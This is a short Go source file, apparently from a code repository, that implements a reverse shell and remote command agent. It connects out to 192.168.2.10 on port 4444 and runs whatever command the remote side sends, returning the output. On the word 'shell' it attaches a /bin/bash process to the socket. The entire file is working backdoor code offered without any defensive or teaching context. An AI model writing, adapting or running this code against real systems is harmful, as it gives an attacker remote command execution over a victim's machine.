61 lines
962 B
Go
61 lines
962 B
Go
package main
|
|
import (
|
|
"net"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
type ReverseAddr struct {
|
|
reverAddr string
|
|
}
|
|
|
|
func CreateAddr() *ReverseAddr {
|
|
return &ReverseAddr {
|
|
reverAddr: "192.168.2.10:4444",
|
|
}
|
|
}
|
|
|
|
|
|
func CreateRever(conn net.Conn) {
|
|
cmd := exec.Command("/bin/bash")
|
|
cmd.Stdin = conn
|
|
cmd.Stderr = conn
|
|
cmd.Run()
|
|
}
|
|
|
|
func (ra ReverseAddr) GetInstructions() {
|
|
conn, err := net.Dial("tcp", ra.reverAddr)
|
|
if err != nil {
|
|
return
|
|
}
|
|
buf := make([]byte,1024)
|
|
n, err := conn.Read(buf)
|
|
if err != nil {
|
|
return
|
|
}
|
|
data := string(buf[:n])
|
|
mensaje := strings.TrimSpace(data)
|
|
partes := strings.Split(mensaje," ")
|
|
comando := partes[0]
|
|
if comando == "shell" {
|
|
go CreateRever(conn)
|
|
}
|
|
argumentos := partes[1:]
|
|
cmd := exec.Command(comando, argumentos...)
|
|
output, err := cmd.Output()
|
|
if err != nil {
|
|
return
|
|
}
|
|
_, err = conn.Write(output)
|
|
if err != nil {
|
|
return
|
|
}
|
|
conn.Close()
|
|
}
|
|
|
|
|
|
func main() {
|
|
myaddr := CreateAddr()
|
|
myaddr.GetInstructions()
|
|
}
|